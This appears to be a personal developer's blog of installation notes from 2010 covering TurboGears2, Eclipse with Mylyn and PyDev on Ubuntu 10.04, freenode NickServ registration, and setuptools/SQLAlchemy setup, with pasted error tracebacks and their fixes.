zip_safe flag not set; analyzing archive contents...
migrate.versioning.api: module MAY be using inspect.getsource
Adding sqlalchemy-migrate 0.5.2 to easy-install.pth file
Installing migrate script to /home/foldername/tg2env/bin
Installing migrate-repository script to /home/foldername/tg2env/bin

Installed /home/foldername/tg2env/lib/python2.6/site-packages/sqlalchemy_migrate-0.5.2-py2.6.egg
Searching for TurboGears2>=2.0.2
Reading http://www.turbogears.org/2.0/downloads/current/index/TurboGears2/
Best match: TurboGears2 2.0.3
Downloading http://www.turbogears.org/2.0/downloads/current/TurboGears2-2.0.3.tar.gz
Processing TurboGears2-2.0.3.tar.gz
Running TurboGears2-2.0.3/setup.py -q bdist_egg --dist-dir /tmp/easy_install-V1mEKi/TurboGears2-2.0.3/egg-dist-tmp-9WBVdw
Adding TurboGears2 2.0.3 to easy-install.pth file

Installed /home/foldername/tg2env/lib/python2.6/site-packages/TurboGears2-2.0.3-py2.6.egg
Searching for zope.interface
Reading http://www.turbogears.org/2.0/downloads/current/index/zope.interface/
Best match: zope.interface 3.4.1
Downloading http://www.turbogears.org/2.0/downloads/current/zope.interface-3.4.1.tar.gz
Processing zope.interface-3.4.1.tar.gz
Running zope.interface-3.4.1/setup.py -q bdist_egg --dist-dir /tmp/easy_install-UQNfCO/zope.interface-3.4.1/egg-dist-tmp-QvlnLc
Traceback (most recent call last):
File "tg2env/bin/easy_install", line 8, in
load_entry_point('setuptools==0.6c9', 'console_scripts', 'easy_install')()
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/easy_install.py", line 1671, in main
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/easy_install.py", line 1659, in with_ei_usage
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/easy_install.py", line 1675, in
File "/usr/lib/python2.6/distutils/core.py", line 152, in setup
dist.run_commands()
File "/usr/lib/python2.6/distutils/dist.py", line 975, in run_commands
self.run_command(cmd)
File "/usr/lib/python2.6/distutils/dist.py", line 995, in run_command
cmd_obj.run()
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/easy_install.py", line 211, in run
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/easy_install.py", line 446, in easy_install
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/easy_install.py", line 478, in install_item
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/easy_install.py", line 519, in process_distribution
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/pkg_resources.py", line 522, in resolve
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/pkg_resources.py", line 758, in best_match
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/pkg_resources.py", line 770, in obtain
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/easy_install.py", line 446, in easy_install
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/easy_install.py", line 476, in install_item
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/easy_install.py", line 655, in install_eggs
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/easy_install.py", line 930, in build_and_install
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/easy_install.py", line 919, in run_setup
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/sandbox.py", line 27, in run_setup
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/sandbox.py", line 63, in run
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/sandbox.py", line 29, in
File "setup.py", line 85, in

File "/usr/lib/python2.6/distutils/core.py", line 152, in setup
dist.run_commands()
File "/usr/lib/python2.6/distutils/dist.py", line 975, in run_commands
self.run_command(cmd)
File "/usr/lib/python2.6/distutils/dist.py", line 995, in run_command
cmd_obj.run()
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/bdist_egg.py", line 174, in run
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/bdist_egg.py", line 161, in call_command
File "/usr/lib/python2.6/distutils/cmd.py", line 333, in run_command
self.distribution.run_command(command)
File "/usr/lib/python2.6/distutils/dist.py", line 995, in run_command
cmd_obj.run()
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/install_lib.py", line 20, in run
File "/usr/lib/python2.6/distutils/command/install_lib.py", line 115, in build
self.run_command('build_ext')
File "/usr/lib/python2.6/distutils/cmd.py", line 333, in run_command
self.distribution.run_command(command)
File "/usr/lib/python2.6/distutils/dist.py", line 995, in run_command
cmd_obj.run()
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/build_ext.py", line 46, in run
File "/usr/lib/python2.6/distutils/command/build_ext.py", line 340, in run
self.build_extensions()
File "/usr/lib/python2.6/distutils/command/build_ext.py", line 449, in build_extensions
self.build_extension(ext)
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/build_ext.py", line 175, in build_extension
File "/usr/lib/python2.6/distutils/command/build_ext.py", line 460, in build_extension
ext_path = self.get_ext_fullpath(ext.name)
File "/usr/lib/python2.6/distutils/command/build_ext.py", line 637, in get_ext_fullpath
filename = self.get_ext_filename(ext_name)
File "/home/foldername/tg2env/lib/python2.6/site-packages/setuptools-0.6c9-py2.6.egg/setuptools/command/build_ext.py", line 85, in get_ext_filename
KeyError: '_zope_interface_coptimizations'

error installing mylyn and pydev in eclipse on ubuntu 10.04

An error occurred while installing the items
session context was:(profile=PlatformProfile, phase=org.eclipse.equinox.internal.provisional.p2.engine.phases.Install, operand=null --> [R]org.eclipse.cvs 1.0.400.v201002111343, action=org.eclipse.equinox.internal.p2.touchpoint.eclipse.actions.InstallBundleAction).
The artifact file for osgi.bundle,org.eclipse.cvs,1.0.400.v201002111343 was not found.


An error occurred while installing the items
session context was:(profile=PlatformProfile, phase=org.eclipse.equinox.internal.provisional.p2.engine.phases.Install, operand=null --> [R]org.eclipse.cvs 1.0.400.v201002111343, action=org.eclipse.equinox.internal.p2.touchpoint.eclipse.actions.InstallBundleAction).
Cannot connect to keystore.
This trust engine is read only.
The artifact file for osgi.bundle,org.eclipse.cvs,1.0.400.v201002111343 was not found.


An error occurred while installing the items
session context was:(profile=PlatformProfile, phase=org.eclipse.equinox.internal.provisional.p2.engine.phases.Install, operand=null --> [R]org.eclipse.cvs 1.0.400.v201002111343, action=org.eclipse.equinox.internal.p2.touchpoint.eclipse.actions.InstallBundleAction).
The artifact file for osgi.bundle,org.eclipse.cvs,1.0.400.v201002111343 was not found.


You have to install the eclipse-pde, jdt and plugin-cvs packages before installing subversive. If you installed eclipse from the SoftwareCentre, it has not included all of these packages. If you use synaptic and search you will see these missing packages and can install from there.

eclipse-pde plugin development environment
Hi! The installation by the Ubuntu Software Store does not include these packages for Eclipse.
Remove it, and install the Eclipse from Synaptic.
java development tools JDT

I installed Eclipse throught Software Center, installed:

sudo apt-get install eclipse-jdt
sudo apt-get install eclipse-plugin-cvs
sudo apt-get install eclipse-pde

http://www.eclipse.org/forums/index.php?t=msg&goto=531456&
https://bugs.launchpad.net/ubuntu/+source/eclipse/+bug/454819



"Mylyn Task List (Required)" is not applicable to the current configuration and will not be installed.
"Mylyn Task-Focused Interface (Recommended)" is not applicable to the current configuration and will not be installed.
"Mylyn WikiText" is not applicable to the current configuration and will not be installed.
"Mylyn Connector: Bugzilla" is not applicable to the current configuration and will not be installed.
"Mylyn Bridge: Eclipse IDE" is not applicable to the current configuration and will not be installed.
"Mylyn Connector: Trac" is not applicable to the current configuration and will not be installed.
"Mylyn Bridge: Plug-in Development" is not applicable to the current configuration and will not be installed.
"Mylyn Bridge: Java Development" is not applicable to the current configuration and will not be installed.
"Mylyn Bridge: C/C++ Development" is not applicable to the current configuration and will not be installed.
"Mylyn Bridge: Team Support" is not applicable to the current configuration and will not be installed.
"Mylyn SDK" is not applicable to the current configuration and will not be installed.
"Mylyn WikiText SDK" is not applicable to the current configuration and will not be installed.
http://wiki.eclipse.org/Mylyn/User_Guide#Installation

Installation Troubleshooting on Eclipse 3.4 and later

Ensure that all required update sites are enabled under Help > Software Updates > Available Software > Manage Sites:

* http://download.eclipse.org/tools/mylyn/update/e3.4
* http://download.eclipse.org/tools/mylyn/update/extras
* http://download.eclipse.org/tools/mylyn/update/incubator

Then follow these steps:

1. Use Help > Software Update > Update to ensure that the latest version of all features is installed
2. Install again
3. If Install fails with a "No repository found containing..." message, remove and re-add the update site that hosts the feature for which the download is failing
4. Install again
5. If the update fails with a "Cannot complete the request..." message, uninstall Mylyn and all Mylyn dependencies
6. Install again

http://wiki.eclipse.org/Mylyn/FAQ#General_Installation_Troubleshooting


I’ve installed Mylyn ; why can’t I see anything different?

The two most likely possibilities are:

1. You don’t have any Mylyn views open. Select Window → Show View → Other, then select Mylyn and you should see the available Mylyn Views.
2. If you still don’t see anything, then perhaps you aren’t using the JDK1.5 VM (or later). See configuring Java.

starting a new pydev project
Choose File > New > Project. From there,
you can select Pydev > Pydev Project.

it will ask you to configure system PYTHONPATH

Use /usr/bin/python

when you do that it will give you an auto list which gets added to the system PYTHONPATH

and shows as name python path /usr/bin/python2.6 (even though you entered just python earlier)
http://pydev.org/manual_101_interpreter.html
http://pydev.blogspot.com/2006/09/configuring-pydev-to-work-with-django.html

this kind of project is associated with the python perspective

Monday, October 11, 2010

setting up pydev ide for django dev under ubuntu

This manual assumes that you have already have Python and/or Jython and/or IronPython installed in your machine, as well as Eclipse, Aptana Studio 2 or Aptana Studio 3 (Beta).

Pydev is now preinstalled in Aptana Studio 3 (in the download from http://aptana.com/products/studio3/download it doesn't need to be installed separately).
/linux/Aptana_Studio_3_Setup_Linux_x86_3.0.0.zip

/linux/Aptana_Studio_Setup_Linux_x86_2.0.5.zip


http://aptana.com/
Aptana Studio 2.0.5
Linux, x86
Aptana Studio is the industry leading web development environment that combines powerful authoring tools for HTML, CSS, and JavaScript, along with thousands of additional plugins created by the community

Operating System

*
Mac OS X
*
Windows
*
Linux

Architecture

*
64-Bit
*
32-Bit


how to install eclipse ide on ubuntu

http://devianture.wordpress.com/2010/04/10/installing-eclipse-on-ubuntu/ best


Dont install eclipse via apt get. Goto the link https://wiki.ubuntu.com/EclipseIDE
and install it manually by downloading the latest eclipse build from the eclipse website. I have installed Eclipse as a global installation and is working fine.
https://help.ubuntu.com/community/EclipseIDE
https://help.ubuntu.com/community/EclipseWebTools

Ubuntu 10.04 LTS: Eclipse 3.5.2 * Ubuntu 9.10: Eclipse 3.5.1

Note: to install plugins not available in Package Manager, you'll need to install them in user mode. Do not run Eclipse as root to install plugins.

How to install Eclipse in Ubuntu.
http://flurdy.com/docs/eclipse/install.html


http://wiki.eclipse.org/Main_Page

irc channel on free node
#eclipse - questions from plug-in developers and users


*

Ivar Abrahamsen's original howto http://flurdy.com/docs/eclipse/install.html
*

Java http://java.sun.com
*

Eclipse http://www.eclipse.org
*

Web Tools http://www.eclipse.org/webtools
*

Eclipse Callisto http://www.eclipse.org/callisto/java.php
*

Ubuntu Eclipse http://wiki.ubuntu.com/EclipseIDE
*

Apache Tomcat http://tomcat.apache.org

Sunday, October 10, 2010

Free node commands and registration help

NickServ: ***** NickServ Help *****
NickServ: NickServ allows users to 'register' a nickname, and stop
NickServ: others from using that nick. NickServ allows the owner of a
NickServ: nickname to disconnect a user from the network that is using
NickServ: their nickname.
NickServ:
NickServ: For more information on a command, type:
NickServ: /msg NickServ help
NickServ: For a verbose listing of all commands, type:
NickServ: /msg NickServ help commands
NickServ:
NickServ: The following commands are available:
NickServ: GHOST Reclaims use of a nickname.
NickServ: GROUP Adds a nickname to your account.
NickServ: UNGROUP Removes a nickname from your account.
NickServ: IDENTIFY Identifies to services for a nickname.
NickServ: INFO Displays information on registrations.
NickServ: LISTCHANS Lists channels that you have access to.
NickServ: REGISTER Registers a nickname.
NickServ: SET Sets various control flags.
NickServ: RELEASE Releases a services enforcer.
NickServ:
NickServ: Other commands: ACCESS, DROP, HELP, LISTOWNMAIL, LOGOUT,
NickServ: SETPASS, ACC, STATUS, TAXONOMY, VERIFY,
NickServ: VACATION
NickServ: ***** End of Help *****


ChanServ: ***** ChanServ Help *****
ChanServ: ChanServ gives normal users the ability to maintain control
ChanServ: of a channel, without the need of a bot. Channel takeovers are
ChanServ: virtually impossible when a channel is registered with ChanServ.
ChanServ: Registration is a quick and painless process. Once registered,
ChanServ: the founder can maintain complete and total control over the channel.
ChanServ: Please note that channels will expire if there are no eligible channel successors.
ChanServ: Successors are primarily those who have the +R flag
ChanServ: set on their account in the channel, although other
ChanServ: people may be chosen depending on their access
ChanServ: level and activity.
ChanServ:
ChanServ: For more information on a command, type:
ChanServ: /msg ChanServ help
ChanServ: For a verbose listing of all commands, type:
ChanServ: /msg ChanServ help commands
ChanServ:
ChanServ: The following commands are available:
ChanServ: UNBAN Unbans you on a channel.
ChanServ: FLAGS Manipulates specific permissions on a channel.
ChanServ: INVITE Invites you to a channel.
ChanServ: OP Gives channel ops to a user.
ChanServ: RECOVER Regain control of your channel.
ChanServ: REGISTER Registers a channel.
ChanServ: SET Sets various control flags.
ChanServ:
ChanServ: Other commands: AKICK, CLEAR, COUNT, DROP, GETKEY, HELP,
ChanServ: INFO, DEOP, QUIET, UNQUIET, STATUS, TAXONOMY,
ChanServ: TEMPLATE, TOPIC, TOPICAPPEND, TOPICPREPEND,
ChanServ: VOICE, DEVOICE, WHY, ACCESS
ChanServ: ***** End of Help *****


NickServ:
NickServ: freenode is a service of Peer-Directed Projects Center, a
NickServ: not-for-profit organisation registered in England and Wales.
NickServ: For frequently-asked questions about the network, please see the
NickServ: FAQ page (http://freenode.net/faq.shtml). Should you wish to
NickServ: support the PDPC you can contribute to our current fundraiser at
NickServ: http://freenode.net/pdpc_donations.shtml.

to register you nick name you need to goto the nickserv

to get a nickserv window in pidgin type

/msg nickserv help

then to register the nick name

register password emailaddress

then open up your email address and you will find a message

/msg NickServ VERIFY REGISTER nickname somecode

you need to paste then into nickserv

Easy Install is a python module

Easy Install is a python module (easy_install) bundled with setuptools that lets you automatically download, build, install, and manage Python packages.

http://peak.telecommunity.com/DevCenter/EasyInstall

setuptools 0.6c11

Download, build, install, upgrade, and uninstall Python packages -- easily!

http://pypi.python.org/pypi/setuptools/


error when trying to install setuptools

sh setuptools-0.6c11-py2.6.egg
error: can't create or remove files in install directory

The following error occurred while trying to add or remove files in the
installation directory:

[Errno 13] Permission denied: '/usr/local/lib/python2.6/dist-packages/test-easy-install-4679.pth'
This error is because i did not use sudo before sh



The installation directory you specified (via --install-dir, --prefix, or
the distutils default setting) was:

/usr/local/lib/python2.6/dist-packages/

Perhaps your account does not have write access to this directory? If the
installation directory is a system-owned directory, you may need to sign in
as the administrator or "root" account. If you do not have administrative
access to this machine, you may wish to choose a different installation
directory, preferably one that is listed in your PYTHONPATH environment
variable.

For information on other options, you may wish to consult the
documentation at:

http://peak.telecommunity.com/EasyInstall.html

Please make the appropriate changes for your system and try again.


when using sudo
sudo sh setuptools-0.6c11-py2.6.egg

Processing setuptools-0.6c11-py2.6.egg
Copying setuptools-0.6c11-py2.6.egg to /usr/local/lib/python2.6/dist-packages
Adding setuptools 0.6c11 to easy-install.pth file
Installing easy_install script to /usr/local/bin
Installing easy_install-2.6 script to /usr/local/bin

Installed /usr/local/lib/python2.6/dist-packages/setuptools-0.6c11-py2.6.egg
Processing dependencies for setuptools==0.6c11
Finished processing dependencies for setuptools==0.6c11


http://peak.telecommunity.com/DevCenter/setuptools

http://peak.telecommunity.com/DevCenter/EasyInstall

easy_install SQLAlchemy
error: can't create or remove files in install directory

The following error occurred while trying to add or remove files in the
installation directory:

[Errno 13] Permission denied: '/usr/local/lib/python2.6/dist-packages/test-easy-install-4798.pth'

The installation directory you specified (via --install-dir, --prefix, or
the distutils default setting) was:

/usr/local/lib/python2.6/dist-packages/

Perhaps your account does not have write access to this directory? If the
installation directory is a system-owned directory, you may need to sign in
as the administrator or "root" account. If you do not have administrative
access to this machine, you may wish to choose a different installation
directory, preferably one that is listed in your PYTHONPATH environment
variable.

For information on other options, you may wish to consult the
documentation at:

http://peak.telecommunity.com/EasyInstall.html

Please make the appropriate changes for your system and try again.

with sudo

sudo easy_install SQLAlchemy
Searching for SQLAlchemy
Reading http://pypi.python.org/simple/SQLAlchemy/
Reading http://www.sqlalchemy.org
Best match: SQLAlchemy 0.6.4
Downloading http://pypi.python.org/packages/source/S/SQLAlchemy/SQLAlchemy-0.6.4.tar.gz#md5=f1e553e73ca989c162ea039b55bd93f5
Processing SQLAlchemy-0.6.4.tar.gz
Running SQLAlchemy-0.6.4/setup.py -q bdist_egg --dist-dir /tmp/easy_install-S4Xwlp/SQLAlchemy-0.6.4/egg-dist-tmp-FFZ3wR
no previously-included directories found matching 'doc/build/output'
zip_safe flag not set; analyzing archive contents...
sqlalchemy.dialects.mysql.base: module MAY be using inspect.stack
sqlalchemy.test.orm: module MAY be using inspect.getframeinfo
sqlalchemy.test.orm: module MAY be using inspect.stack
Adding SQLAlchemy 0.6.4 to easy-install.pth file

Installed /usr/local/lib/python2.6/dist-packages/SQLAlchemy-0.6.4-py2.6.egg
Processing dependencies for SQLAlchemy
Finished processing dependencies for SQLAlchemy


>>> import sqlalchemy
>>> sqlalchemy._version_
Traceback (most recent call last):
File "", line 1, in
AttributeError: 'module' object has no attribute '_version_'
>>> sqlalchemy_version_
Traceback (most recent call last):
File "", line 1, in
NameError: name 'sqlalchemy_version_' is not defined

this error is because there is two _ before and after versions __ not _


>>> sqlalchemy.__version__
'0.6.4'
>>>

Python eggs are a way of bundling additional information with a Python project, that allows the project's dependencies to be checked and satisfied at runtime, as well as allowing projects to provide plugins for other projects. There are several binary formats that embody eggs, but the most common is '.egg' zipfile format, because it's a convenient one for distributing projects. All of the formats support including package-specific data, project-wide metadata, C extensions, and Python code.
http://peak.telecommunity.com/DevCenter/PythonEggs